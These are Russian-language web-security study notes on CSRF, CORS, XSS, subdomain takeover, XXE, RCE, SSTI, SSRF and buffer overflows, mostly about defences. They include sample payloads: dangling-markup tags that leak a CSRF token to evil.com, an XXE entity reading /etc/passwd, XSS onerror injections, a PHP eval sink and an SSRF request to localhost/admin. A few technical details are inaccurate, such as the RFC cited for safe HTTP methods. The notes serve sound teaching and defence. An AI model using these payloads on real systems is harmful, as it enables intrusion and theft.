Когда пользователь посещает веб-сайт, браузер автоматически отправляет cookies с токенами аутентификации для каждого запроса. Злоумышленник может использовать вредоносную веб-страницу, чтобы изменить взаимодействие между браузером пользователя и посещаемым веб-сайтом. Например, это позволяет им получить доступ к предыдущим файлам cookie аутентификации пользователя для посещенного веб-сайта.

Аутентификация сеанса может помочь вам справиться с подделкой межсайтовых запросов. Этого можно добиться путем выдачи токенов для каждого активного сеанса пользователя, чтобы убедиться, что запросы на сайт отправляет реальный пользователь. Это известно как token-based mitigation (смягчение последствий на основе токенов), и вы можете использовать шаблоны токенов с отслеживанием или без сохранения состояния.

Cross Site Request Forgery, или CSRF, является атакой, которая осуществляется в тот момент, когда вредоносный сайт, письмо, сообщение, приложение или что-либо иное заставляет браузер пользователя выполнить некоторые действия на другом сайте, где этот пользователь уже аутентифицирован.

Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами. Так как через cookie сработает CSRF-атака, а через local/session storage нет, так как они не передаются автоматически с запросом и доступны только на установленном домене.

От данной угрозы реализован механизм CSRF токенов — когда для каждой сессии пользователя генерируется новый токен (он же SessionId) и сервер проверяет его валидность при любых запросах с клиента.

Выполнение CSRF-атаки состоит из двух основных частей.

  1. Злоумышленник заставляет жертву щёлкнуть на ссылку или загрузить веб-страницу. Он намеренно заманивает пользователя перейти по ссылке, используя методы социальной инженерии.

  2. Отправляет «поддельный» или выдуманный запрос через браузер от имени жертвы прихватив cookie. Вредоносная ссылка отправит запрос в веб-приложение при этом браузер отправляет файл cookie аутентификации вместе с данными злоумышленника и так как пользователь аутентифицирован на целевом ресурсе то его cookie сработают.

Этот запрос определяется как незаконный, поскольку жертва не знает, что он отправляется. Но для веб-сервера это выглядит так, как будто пользователь отправил его, потому что он включает в себя файлы cookie, которые необходимы веб-серверу для проверки личности жертвы.

Проблема в том, что ваш браузер отправит вместе с запросом ваши файлы cookie. Запрос будет отправлен с полными полномочиями, которыми вы в настоящее время обладаете.

Вот пример:

  1. Боб входит в свой личный кабинет в банковском онлайнклиенте, выполняет какие-то операции, но не разлогинивается.
  2. Боб проверяет свою почту и кликает на ссылку, ведущуюна незнакомый сайт.
  3. Незнакомый сайт делает запрос к онлайн-клиенту банка Боба на перевод денег, передавая информацию в cookie Боба, сохранившуюся с предыдущей его сессии.
  4. Сайт банка Боба принимает запрос от незнакомого (вредоносного) сайта без использования CSRF-токена и выполняет перевод.

Еще более интересна ситуация, когда ссылка на вредоносный сайт может содержаться в валидном HTML, благодаря чему Бобу даже не придется нажимать на ссылку: <img src="www.malicious_site.com">. Если устройство Боба (например, браузер) отрисует это изображение, оно сделает запрос к malicious_site.com и потенциально совершит CSRF-атаку.

Теперь, зная об опасностях, которые несут CSRF-атаки, вы можете защититься от них множеством способов, самым поплярным из которых, возможно, является использование CSRF-токена (Anti-CSRF или synchronizer tokens), который должен отправляться с любым запросом, который потенциально может изменять данные (например, с POST-запросами). Другие методы защиты включают проверку HTTP заголовка Referer, использование куки SameSite, двойную отправку куки и другие.

Защита:

CSRF token

  • Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
  • Токен вставляется в DOM HTML страницы или отдается пользователю через API.
  • Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
  • Так как атакующий не знает токен, то классическая CSRF-атака не работает.

Свойства CSRF-токена:

  • уникальность при каждом запросе;
  • непродолжительное время жизни,
  • непредсказуемость и устойчивый к подбору.

Зачем нужен CSRF-токен:

CSRF токен — это случайное значение, генерируемое веб-приложением и связываемое с текущей сессией пользователя. Он встраивается в формы и ссылки, добавляется к каждому POST запросу отправляемому с веб-сайта на сервер.

Токен хранится в куках или в скрытом поле веб-формы и после выполнения запроса приложение на стороне сервера сравнивает два маркера, найденные в сеансе пользователя и в самом запросе. Если CSRF токен отсутствует или не соответствует значению в сеансе пользователя, запрос отклоняется, сеанс пользователя завершается, а событие регистрируется как потенциальная атака CSRF. Так злоумышленнику практически невозможно создать полный действительный запрос, чтобы заманить жертву.

Цель CSRF токена — предотвратить возможность злоумышленника создавать поддельные запросы от имени пользователя. Таким образом, если подделанный запрос попадает на сервер, CSRF токен позволяет ему определить его несоответствие и предотвратить выполнение этого запроса.

Веб-приложение (такое, как онлайн-банк Боба) должно будет сгенерировать CSRF-токен, состоящий из двух частей, одну из которых получит Боб, а вторая будет сохранена в приложении. Когда Боб попытается совершить запрос на перевод денег, он должен будет отправить CSRF-токен, который будет проверен банком на валидность при помощи токена, хранящегося в приложении.

Double submit cookie

  • Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
  • Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
  • Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
  • Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.

Content-Type based protection

  • Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
  • Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.

Referer-based protection

  • Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
  • Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.

Password confirmation / websudo

  • Пользователь должен подтверждать действие с помощью пароля (или секрета).
  • Так как атакующий его не знает, то классическая CSRF-атака не работает.

SameSite Cookies в Chrome, Opera

Это новая технология, которая призвана защитить от CSRF. В данный момент она работает только в двух браузерах (Chrome, Opera).

  • У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
  • Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.

CORS

Cross Origin Resource Sharing (CORS) ограничивает список ресурсов, которые могут получать доступ к данным.

Cross-origin resource sharing (CORS) (Кросс-доменное использование ресурсов)

Защита реализована с помощью пакета CORS. CORS — это механизм безопасности, который позволяет серверу задать правила доступа к его API. В config файле сервера указываются адрес (origin), с которого могут поступать API запросы и список методов (methods), которые может использовать клиент. В дальнейшем сервер будет автоматически ограничивать прием запросов в соответствии с этими настройками.

actix-cors

.wrap(
    Cors::new()  
        .allowed_origin("http://example.com") // Разрешенный источник
        .allowed_methods(vec!["GET", "POST" , "DELETE"]) // Разрешенные методы
        .allowed_headers(vec![
            header::CONTENT_TYPE,
            header::AUTHORIZATION,
        ]) // Разрешенные заголовки
        .supports_credentials() // Поддержка куки и заголовка авторизации
        .max_age(3600) // Время кеширования предварительных запросов
)

Например, если на сервере установить заголовок: Access-Control-Allow-Origin: * то это позволит использовать API без ограничения.

Если это не публичное API, то для безопасности надо явно устанавливать Origin-ы, с которых разрешен доступ к API, например: Access-Control-Allow-Origin: https://example.com:8080

Также можно ограничивать HTTP методы, которые могут быть использованы для доступа к API: Access-Control-Allow-Methods: GET, POST, DELETE, PUT

И задать список заголовков, которые сервер может принимать: Access-Control-Allow-Headers: Origin, Content-Type, Authorization

Связь с Cookies

Cookies — это небольшой фрагмент данных, который веб-сервер отправляет клиенту в виде name=value в HTTP-заголовке c названием Set-Cookie. Браузер хранит эти данные на компьютере пользователя, и всякий раз при необходимости пересылает этот фрагмент данных веб-серверу в составе HTTP-запроса в HTTP-заголовке с названием Cookie. До сих пор многие веб-приложения используют cookies для управления сессией пользователя. Браузер устроен так, что, если у него есть cookies пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.

Как предотвратить CSRF-атаки: Проверьте происхождение

При получении запроса нам потенциально доступны две части информации, которые указывают, откуда поступил запрос. Это заголовок Origin и заголовок Referer. Вы можете проверить одно или оба этих значения, чтобы узнать, исходит ли запрос из источника, отличного от вашего. Если запрос был перекрестным, вы просто его отбрасываете. Заголовки Origin и Referer получают некоторую защиту от браузеров от несанкционированного доступа, но они также могут присутствовать не всегда.

Как предотвратить CSRF-атаки: Токены защиты от CSRF

Существует два разных способа использования токенов Anti-CSRF, но принцип остается тем же. Когда посетитель запрашивает страницу, например страницу перевода денег в приведенном выше примере, вы вставляете в форму случайный токен. Когда настоящий пользователь отправляет эту форму, возвращается случайный токен, и вы можете проверить, соответствует ли он тому, который вы указали в форме. В сценарии атаки CSRF злоумышленник никогда не сможет получить это значение и не сможет получить его, даже если он запросит страницу, поскольку политика одинакового происхождения (SOP) не позволит злоумышленнику прочитать ответ, содержащий токен. Этот метод работает хорошо, но требует, чтобы сайт отслеживал выдачу и возврат токенов Anti-CSRF. Аналогичный метод заключается в встраивании токена в форму и выдаче браузеру файла cookie, содержащего то же значение. Когда настоящий пользователь отправляет свою форму, значения в файле cookie и форме будут совпадать при получении сайтом. Когда злоумышленник отправляет поддельный запрос, в браузере не будет установлен файл cookie CSRF, и тест завершится неудачно.

<form action="https://report-uri.io/login/auth" method="POST">
    <input type="hidden" name="csrf_token" value="d82c90fc4a14b01224gde6ddebc23bf0">
    <input type="email" id="email" name="email">
    <input type="password" id="password" name="password">
    <button type="submit" class="btn btn-primary">Login</button>
</form>

Как предотвратить CSRF-атаки: Файлы cookie того же сайта

В идеальном мире вы бы включили SameSite, добавив SameSite=Lax в свой файл cookie точно так же, как флаги Secure или HttpOnly.

Set-Cookie: __Host-session=123; path=/; Secure; HttpOnly; SameSite=Lax

Почему бы нам просто не сказать браузеру, чтобы он прекратил делать то, чего мы не хотим? Включение этого атрибута в файле cookie даст браузеру указание предоставить этому файлу cookie определенную защиту.

Просто добавьте атрибут SameSite=Strict/Lax.

Set-Cookie: sess=abc123; path=/; SameSite=Strict

При работе в строгом режиме Strict браузер вообще не будет отправлять файлы cookie ни по одному запросу из разных источников, поэтому CSRF полностью мертв. Единственная проблема, с которой вы можете столкнуться, заключается в том, что он также не будет отправлять файлы cookie при навигации верхнего уровня. Amazon: у них есть 2 файла cookie. Один из них — это своего рода «базовый» файл cookie, который идентифицирует вас как пользователя и позволяет вам войти в систему, но если вы хотите сделать что-то конфиденциальное, например совершить покупку или изменить что-то в своей учетной записи, вам понадобится второй файл cookie, «настоящий» файл cookie, который позволяет вам делать важные вещи. В этом случае для первого файла cookie не будет установлен атрибут SameSite, поскольку это «удобный» файл cookie, он на самом деле не позволяет вам делать что-либо конфиденциальное, и если злоумышленник может сделать с его помощью запросы из разных источников, ничего не произойдет. Однако для второго файла cookie, конфиденциального файла cookie, будет установлен атрибут SameSite, и злоумышленник не сможет злоупотреблять его полномочиями в запросах между источниками. Это идеальное решение как для пользователя, так и для безопасности.

Установка режима защиты SameSite в режим Lax устраняет упомянутую выше проблему в строгом режиме, когда пользователь нажимает на ссылку и не входит в систему на целевом сайте, если он уже авторизовался. В режиме Lax существует единственное исключение, разрешающее использование файлов cookie. быть прикреплен к навигации верхнего уровня, использующей безопасный метод HTTP. «Безопасные» методы HTTP определены в разделе 4.2.1 RFC 7321 как GET, HEAD, OPTIONS и TRACE, и нас здесь интересует метод GET. Это означает, что к нашей навигации верхнего уровня на https://facebook.com, когда пользователь нажимает ссылку, теперь прикрепляются файлы cookie с пометкой SameSite, когда браузер делает запрос, сохраняя ожидаемый пользовательский опыт. Мы также по-прежнему полностью защищены от атак CSRF на основе POST. Пока мы не принимаем запросы GET вместо запросов POST, эта атака невозможна, но на это следует обратить внимание при работе в режиме Lax. Кроме того, если злоумышленник может вызвать навигацию верхнего уровня или открыть новое окно, он также может заставить браузер выдать запрос GET с прикрепленными файлами cookie. Это компромисс работы в режиме Lax: мы сохраняем пользовательский опыт без изменений, но существует небольшой риск, который можно принять в качестве оплаты.

Еще уязвимые моменты

  • XSS (cross-sitescripting)

Если в вашем веб-приложении есть XSS, то это автоматически делает его уязвимым к CSRF, и от этого сложно защититься. Можно только смириться.

  • Dangling markup

Допустим, в нашем приложении есть уязвимость к HTML injection, но нет XSS. Например, есть Content Security Policy (CSP), которая защищает от XSS. Но атакующий все равно может внедрять HTML теги.

Если в нашем приложении реализована защита, основанная на CSRF-токенах, атакующий может внедрить такой HTML, это не закрытые теги image или form:

<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea> 

В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.

Таким образом узнав токен, атакующий сможет эксплуатировать CSRF классическим способом.

Как реализовать хранение CSRF токена

  1. Берем JWT токен и засовываем его в cookie с флагом httpOnly (JWT нужен для сервисов, которыми пользуется наш бэкенд, а для информации о пользователе создаем endpoint me)
  2. Генерируем обычный CSRF токен и кладем его в JWT, и параллельно отправляем вместе с токеном в куки, но без httpOnly

В момент запроса просто берем CSRF токен из куки, и отправляем на сервер. Там проверяем валидность JWT, и все 3 CSRF токена должны совпасть: в куки, в запросе в JWT.

Почему так?

  1. JWT - подписанные данные и знакомая многим концепция, его время жизни тоже заложено в нем, а потому не страшно, что пользователь руками продлит куку.
  2. Снижена нагрузка на сервер, ибо в JWT можно положить всякой полезной информации, чтобы не бегать в базу.
  3. Не нужно хранилище для токенов, они не будут жить дольше самого JWT, который рассчитан на 10-15 минут.
  4. Между вкладками и сессиями CSRF токен у нас актуален.

JWT (JSON Web Token) - это компактный и самодостаточный способ представления информации между двумя сторонами в виде объекта JSON. Он используется для передачи данных между клиентом и сервером в формате, который можно легко проверить и декодировать. JWT может использоваться для аутентификации пользователей при доступе к защищенным ресурсам в веб-приложениях. После успешной аутентификации сервер создает JWT, который содержит утверждения о пользователе (например, идентификатор пользователя, роли, срок действия и т. д.), и отправляет его клиенту. При последующих запросах клиент отправляет JWT в заголовке Authorization для подтверждения своей аутентификации. Так как JWT подписывается то подделанный JWT токен легко проверить но он не предназначен для хранения конфиденциальных данных так как не зашифрован, т.е. пароль хранить в нем нельзя.

CORS наконец-то объяснен — просто

Браузеры приняли SOP (Same-Origin Policy, политику одного источника), которая блокирует запросы к bank.com с других сайтов. Важно понимать, что это политика браузера. bank.com не может точно определить, откуда пришел запрос, поэтому он не может защитить себя от атак типа CSRF. Ваш браузер вмешивается и говорит, что если вы пытаетесь сделать запрос к какому-то ресурсу (схема + домен + порт, например https://foo.com:4000 или http://bar.org:3000), он будет отправлять такие запросы только для одного и того же источника. Это было отличным решением, но оно было крайне ограничивающим. Например, публичные API не могли бы работать вообще. Нельзя было бы запрашивать данные с них, если не использовать какой-то прокси.

Когда веб-приложение из example.com пытается запросить ресурсы из bank.com, браузер автоматически включает Originв запрос заголовок, указывающий, откуда исходит запрос (example.com). Вот важная часть: вместо того, чтобы напрямую блокировать такие запросы из разных источников в соответствии с SOP, bank.com сервер может проверить этот Origin заголовок и решить, разрешить или отклонить запрос, на основе собственной политики CORS.

Если bank.com считает example.com заслуживающим доверия или запрашиваемый ресурс должен быть общедоступным, он может ответить определенными заголовками CORS, такими как Access-Control-Allow-Origin, указывающими, каким источникам разрешен доступ к ресурсу. Этот заголовок может быть установлен на http://example.com, явно разрешая этот источник, или *для общедоступных ресурсов, к которым любой источник может получить доступ.

Конечно, браузер все это облегчает. Если что-то из этого не так, вы получите эту неприятную ошибку.

Теперь... что, если запрос не имеет заголовка Origin? Что, если у него есть куча других заголовков и он не использует один из основных методов HTTP?

В таких ситуациях обработка CORS становится немного сложнее, поскольку это уже не «простой запрос». Здесь вступает в игру концепция «предварительных» запросов в CORS.

Предварительная проверка

Для определенных типов запросов, которые потенциально могут изменить данные на сервере — тех, которые используют методы HTTP, такие как PUT, DELETE, или используют заголовки, которые не включаются автоматически в каждый запрос — браузеры сначала отправят «предварительный» запрос перед выполнением фактического запроса. Этот предварительный запрос является запросом HTTP OPTIONS, и его цель — проверить на сервере, безопасна ли отправка фактического запроса.

Запрос preflight включает заголовки, описывающие метод HTTP и заголовки самого запроса.

Вот что происходит дальше:

  1. Ответ сервера: Если сервер поддерживает политику CORS и фактический запрос, он отвечает на предварительный запрос заголовками, указывающими, какие методы и заголовки разрешены. Это может включать заголовки типа Access-Control-Allow-Methodsи Access-Control-Allow-Headers

  2. Решение браузера: на основе ответа сервера на предварительный запрос браузер решает, следует ли продолжить фактический запрос. Если ответ сервера указывает, что запрос разрешен, браузер отправляет его; если нет, браузер блокирует запрос, и вы увидите ошибку, связанную с CORS

Я думаю, самое важное, что нужно понять, это то, что это все политика браузера, и ваш сервер должен быть закодирован для ее соблюдения. Это сделано для вашей безопасности. Если вы используете Chrome, вам не следует так сильно беспокоиться о нажатии неправильных ссылок. Однако это не надежная политика. Если вы используете какой-то сторонний браузер, который не соответствует стандартам, все это будет выброшено. Вот почему нужно быть осторожным с тем, какое программное обеспечение вы используете!

Cross-Site Request Forgery Prevention Cheat Sheet

CSRF-уязвимости все еще актуальны

Методы защиты от CSRF-атаки

CORS наконец-то объяснен — просто

Cross-Site Scripting (XSS) Attacks

Межсайтовое выполнение скриптов считается самой опасной web-атакой. Эта веб-уязвимость, также известная как XSS-атаки, связана с внедрением кода на стороне клиента. Обычно при атаке на веб-страницу вставляется вредоносный код, который будет выполняться при посещении веб-страницы. Это уязвимость ввода, которая в основном возникает на веб-сайтах, допускающих обратную связь с пользователем.

Как и SQL-инъекция, проблему XSS можно решить путем мониторинга ввода данных пользователем. Каждый пользовательский ввод должен фильтроваться, и разрешаться должны только безопасные и действительные записи. Кроме того, вы можете кодировать выходные данные и использовать политику безопасности контента (CSP). Эта политика может помочь уменьшить ущерб, который может нанести XSS-атака.

Этот заголовок Content-Security-Policy сообщает браузеру, что все ресурсы должны быть загружены только из текущего источника ('self') и из http://example.com.

 .wrap(
     // Добавление CSP
     actix_web::middleware::DefaultHeaders::new()
         .add(("Content-Security-Policy", "default-src 'self' http://example.com"))
 )
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">

CSP stackoverflow

Межсайтовый скриптинг - это внедрение на страницу JavaScript-кода, который не был предусмотрен разработчиками. Этот код будет выполняться каждый раз, когда жертвы (обычные пользователи) будут заходить на страницу приложения, куда этот код был добавлен.

Виды XSS:

  • Reflective XSS: эти атаки не сохраняются на сайте, что означает создание и выполнение XSS в одном запросе и ответе. Злоумышленник вводит вредоносный код в параметры URL или формы, который затем отображается на странице в ответ на запрос пользователя. Этот тип XSS обычно используется в социальной инженерии, так как жертва должна перейти по специально подготовленной ссылке, чтобы активировать атаку.

  • Stored XSS: эти атаки сохраняются на сайте и зачастую более опасны. Они сохраняются на сервере и выполняются на “нормальных” страницах ничего не подозревающими пользователями. Например, это может быть внедрение скриптов в комментарии, сообщения или профили пользователей.

  • Self XSS/DOM-based XSS: эти атаки также не сохраняются на сайте и обычно используются как часть обмана человека с целью запуска XSS им самим. Вредоносный код выполняется на стороне клиента внутри самого браузера, используя динамически генерируемое содержимое страницы. Злоумышленник может манипулировать DOM-деревом, внедряя вредоносный код, который затем выполняется в контексте текущей страницы.

Чем опасно XSS:

  • Злоумышленник удастся заполучить авторизационные данные пользователя и войти в его аккаунт.

  • Злоумышленник может незаметно для жертвы перенаправить его на другую страницу-клон. Эта страница может выглядеть совершенно идентично той, на которой пользователь рассчитывал оказаться. Но вот принадлежать она будет злоумышленнику. Если пользователь не заметит подмены и на этой странице введет какие-то sensitive data, то есть личные данные, они окажутся у злоумышленника.

Например ввод для формы: #>img src=/ onerror=alert(3)>

Как избежать XSS:

  • Для защиты выставляется заголовок, ограничивающий выполнение скриптов: X-XSS-Protection: 1; mode=block или Content-Security-Policy: script-src 'self'
  • Необходимо экранировании пользовательский ввод и данные получаемые из URl.
  • Еще можно запретить самому JavaScript видеть некоторые cookie. Для этого у cookie есть специальный параметр “http only”. Если он выставлен в TRUE, JavaScript никак не сможет узнать, что такая cookie вообще выставлена и не сможет ее прочитать и передать злоумышленнику даже в том случае, если ему удастся найти XSS на вашем проекте.

Возможен случай перехвата запроса на сервер с подменой заголоков, например при отправки файла и дальнейшего использования его имени на странице, возможно заменить его имя на скрипт

 Content-Disposition: form-data; name="properties[Artwork file]"

 Content-Disposition: form-data; name="properties[Artwork file<img src='test' onmouseover='alert(2)'>]";

На самом деле, каждый раз, когда вы видите, что валидация в реальном времени осуществляется в вашем браузере, это должно быть красным флагом, сигнализирующем о необходимости протестировать это поле!

Потрясающая шпаргалка по векторам XSS для поиска XSS

XSS

Что такое XSS-уязвимость и как тестировщику не пропустить ее

Subdomain Takeover (Захват поддомена)

Захват поддомена действительно выглядит так, как звучит. Это ситуация, при которой злоумышленник способен претендовать на поддомен от имени основного и настоящего сайта. Это часто происходит, когда компания перестает использовать определенный сервис или ресурс, оставляя поддомен доступным для регистрации или использования другими сторонними лицами.

В двух словах, этот тип уязвимости вовлекает сайт созданием записи DNS для поддомена, например в Heroku (хостинговая компания), и никогда не утверждает, что это дочерний домен этого сайта.

  1. example.com регистрируется в Heroku

  2. example.com создает DNS запись, указывающую переадресацию поддомена subdomain.example.com на unicorn457.heroku.com

  3. example.com не претендует на unicorn457.heroku.com

  4. Злоумышленник забирает unicorn457.heroku.com и дублирует example.com

  5. Весь траффик для subdomain.example.com направляется на вредоносный сайт, который выглядит как example.com

Таким образом, для того чтобы это произошло, должны быть невостребованные DNS записи для внешней службы. Таких как Heroku, Github, Amazon S3, Shopify и т.д.

Захват поддоменов на самом деле совершенно не трудно осуществить, когда в DNS записях сайта есть неиспользуемая запись, указывающая на стороннего поставщика услуг. Существует немало способов обнаружить их, включая использование KnockPy, Google Dorks (site:*.hackerone.com), Recon-ng, и так далее.

Для предотвращения захвата поддоменов компании должны следить за своими доменами и ресурсами, регулярно аудитировать их, а также принимать меры по защите поддоменов от незаконного использования. Это может включать в себя установку правильных DNS-записей (например, CNAME или A записей), редиректы или удаление ненужных поддоменов, а также мониторинг и оповещение об изменениях в DNS-конфигурации.

Уязвимость XML External Entity

Уязвимость XML External Entity (XXE) - это атака на безопасность веб-приложений, которая возникает при недостаточной обработке внешних сущностей в XML-документах. В XML документах могут использоваться внешние сущности для включения внешних ресурсов, таких как файлы или удаленные URL-адреса, но если эти внешние сущности не обрабатываются безопасно, это может привести к различным угрозам безопасности.

Примеры угроз, связанных с уязвимостью XXE, включают в себя:

  1. Чтение файлов: Злоумышленник может использовать XXE-атаку, чтобы прочитать файлы на сервере, к которым у него нет доступа, включая конфиденциальные файлы, такие как файлы с данными базы данных или конфигурационные файлы.

  2. Выполнение удаленного кода (RCE): Злоумышленник может использовать XXE-атаку, чтобы выполнить удаленный код, например, загрузить и выполнить вредоносный скрипт с удаленного URL-адреса.

  3. Отказ в обслуживании (DoS): Злоумышленник может использовать XXE-атаку для создания запросов к внешним ресурсам, что может привести к перегрузке сервера и отказу в обслуживании.

Пример XML с уязвимостью XXE:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

В этом примере злоумышленник включает внешнюю сущность xxe, которая ссылается на файл /etc/passwd на сервере. Если приложение обрабатывает XML документ без адекватной защиты от XXE-атак, это может привести к чтению содержимого этого файла.

Для предотвращения уязвимости XXE рекомендуется:

  • Использовать безопасный XML-парсер с отключенной поддержкой внешних сущностей или правильно настроенной обработкой внешних сущностей.
  • Никогда не доверять внешним сущностям из ненадежных источников.
  • Осуществлять фильтрацию и валидацию входных данных перед их обработкой.

RCE Удаленное выполнение кода

Удаленное выполнение кода возникает из-за внедренного кода, который интерпретируется и выполняется уязвимым приложением. Уязвимости, которые могут быть использованы для атак RCE, включают, но не ограничиваются, недостаточной валидацией ввода, проблемами аутентификации и авторизации, уязвимостями веб-приложений и недостатками безопасности операционных систем.

index.php?page=1;phpinfo()


$var = $_GET['page'];
eval($var);

Для защиты от атак RCE рекомендуется следующее:

  • Обновление программного обеспечения

  • Аудит безопасности

  • Фильтрация ввода: Контролируйте и фильтруйте входные данные, чтобы предотвратить атаки на инъекции кода, включая атаки RCE.

  • Применение принципа наименьших привилегий: Предоставляйте доступ к ресурсам и функциям только тем пользователям, которые действительно нуждаются в них, и ограничивайте права доступа к минимально необходимым.

  • Мониторинг и реагирование на инциденты: Установите системы мониторинга безопасности и механизмы реагирования на инциденты, чтобы быстро обнаруживать и реагировать на попытки атаки RCE.

Template Injection SSTI (Инъекция в шаблоны)

Шаблонизаторы - это инструменты, которые позволяют разработчикам/дизайнерам отделить программную логику от представления данных при создании динамических веб-страниц. Инъекция в шаблон на стороне сервера (SSTI) возникает, когда шаблонизаторы отображают пользовательский ввод без его надлежащей обработки, подобно XSS. Этот вид атаки часто связан с использованием шаблонизаторов или языков разметки, таких как HTML, XML, JSON, CSS или SQL.

Ищите возможности, где текст, контролируемый вами, отображается обратно вам на страницу или куда-либо еще (например, в электронное письмо).

Подделка запроса на стороне сервера SSRF (Server-Side Request Forgery)

SSRF (Server-Side Request Forgery) - это вид атаки на безопасность, при которой злоумышленник манипулирует сервером таким образом, чтобы он отправлял HTTP-запросы на доверенные внутренние или защищенные ресурсы, которые доступны только изнутри сети. Это позволяет злоумышленнику взаимодействовать с внутренними системами, которые обычно недоступны для внешнего мира, и может привести к различным атакам, включая утечку конфиденциальной информации, обход сетевых защит и т. д.

Это похоже на межсайтовую подделку запроса (CSRF) тем, что в обеих уязвимостях мы отправляем HTTP запросы без ведома жертвы. Только в случае с SSRF жертвой является сам уязвимый сервер, а в случае с CSRF - это браузер пользователя.

Потенциал такого метода очень обширен и включает в себя:

  • Получение информации. Мы обманываем сервер, дабы он раскрыл информацию о себе, как это описано в Примере 1, используя метаданные AWS EC2.

  • Межсайтовый скриптинг (XSS) в случае, если мы можем удаленно рендерить HTML файл, содержащий Javascript.

К этой атаке в основном уязвимы веб-приложения, которые взаимодействуют со сторонними сервисами либо загружают данные по ссылкам. В таких системах совершаемые запросы бывают подконтрольны пользователям. И в результате подмены ссылки запрос уходит уже на другие ресурсы.

Подделка запроса на стороне сервера (SSRF) становится возможной, когда сервер позволяет совершать запросы от лица злоумышленника. Однако не все запросы могут быть использованы для атаки. Например то, что сайт позволяет вам вписать URL ведущий к картинке, которая будет скопирована и использована на самом сайте, не значит, что сервер уязвим. Найти эту возможность - лишь первый шаг, после которого вам нужно выявить весь потенциал уязвимости.

Способы внедрения SSRF:

  • доверие к заголовкам присланным пользователем Host (злоумышленник может легко поменять заголовок с помощью локального прокси или других утилит.). Host предназначен для определения внутреннего ресурса, с которым взаимодействует клиент. От сервера не возвращался ответ на отправленный запрос, поэтому обнаруженная уязвимость позволяет проводить только Blind SSRF-атаку. При ней извлечение информации происходит не напрямую, а через сторонние параметры, например, код и время ответа сервера. Однако сервер уязвимого веб-приложения имел доступ к ресурсам внутренней сети, которые можно было идентифицировать на основе кода ответа сервера.

  • Через SSRF – к компрометации сервера, открывает возможности для проведения других атак.

GET /upload.php?url=localhost/admin HTTP/1.1

Вот пример подставки url при загрузки картинки, вместо своего url подставляется localhost и может оказаться что внутренняя часть приложения без зашиты. Эта уязвимость позволяла проводить Full SSRF-атаку, то есть от сервера возвращался полный ответ на отправленный запрос. Анализ ответов показал, что это действительно административная панель с функциональностью управления приложением и пользователями. И она была доступна без аутентификации с локального адреса! Очень часто ограничение доступа к административным страницам происходит на основе IP-адреса, с которого пришел запрос. В данном примере, разрешенным адресом оказался localhost. Плюс к этому в административном интерфейсе отсутствовала аутентификация. Так бывает, когда компании усиленно защищают внешний периметр, забывая при этом про внутренний. В итоге в корпоративной сети встречаются учетные данные по умолчанию или даже полное отсутствие паролей для доступа.

Для защиты от атак SSRF рекомендуется следующее:

  1. Фильтрация ввода: Ограничьте возможности пользователей вводить произвольные URL-адреса или IP-адреса, особенно если они используются для формирования HTTP-запросов.

  2. Ограничение доступа: Ограничьте доступ к внутренним ресурсам и сервисам только тем пользователям или компонентам, которые действительно нуждаются в этом доступе.

  3. Мониторинг и логирование: Мониторинг и регистрация всех внешних HTTP-запросов, отправленных сервером, помогут обнаружить и предотвратить попытки атак SSRF.

  4. Обновление и конфигурация: Поддерживайте все программное обеспечение, включая библиотеки и фреймворки, обновленными до последних версий, чтобы устранить известные уязвимости, которые могут быть использованы для атак SSRF.

  5. Использование белых списков: Реализуйте белые списки для разрешения доступа к внутренним ресурсам, а не черные списки, чтобы исключить возможность обхода фильтров.

Память. Buffer Overflow (Переполнение буфера)

Переполнение буфера это ситуация, когда программа, записывая данные в буфер или другую область памяти, имеет больше информации для записи, чем фактически отведено для таких операций в памяти, чтобы изменить содержимое памяти за пределами выделенного буфера.

Переполнение буфера сподвигает программу к нестабильному поведению в лучшем случае, и к образованию серьёзных уязвимостей в защите - в худшем.

Это происходит потому что при переполнении буфера уязвимая программа начинает переписывать неповрежденную информацию данными, получение которых не было предусмотрено, и эти данные могут быть вызваны позднее. Если такое произойдёт, переписаный злоумышленником код может делать совершенно другие вещи, нежели были в задумке разработчиков, что повлечет за собой ошибку. Также враждебно настроенный хакер может использовать переполнение памяти чтобы написать и исполнить вредоносный код.

Вот несколько методов защиты от атак переполнения буфера:

  1. Использование безопасных функций: При разработке программного обеспечения используйте безопасные функции для работы с буферами, такие как strncpy() вместо strcpy() в языке C, которые автоматически обрезают строку по заданной длине.

  2. Проверка входных данных: Всегда проверяйте входные данные на корректность и длину, чтобы избежать ввода данных, превышающих размеры буфера.

  3. Использование защищенных языков программирования: Используйте языки программирования с встроенной поддержкой защиты от переполнения буфера, такие как Rust, Go или Python, которые автоматически управляют памятью и предотвращают переполнение буфера.

  4. Статический и динамический анализ кода: Проводите статический и динамический анализ кода, чтобы выявить потенциальные уязвимости переполнения буфера в программном обеспечении.

  5. Использование статического кодирования и байт-кода: Используйте статическое кодирование и байт-кодирование для предотвращения передачи вредоносного кода через сетевые протоколы или ввод данных.

  6. Защита стека: Используйте механизмы защиты стека, такие как стековые канарейки и адресное пространство с выполнением (ASLR), чтобы предотвратить переполнение стека и выполнение вредоносного кода.

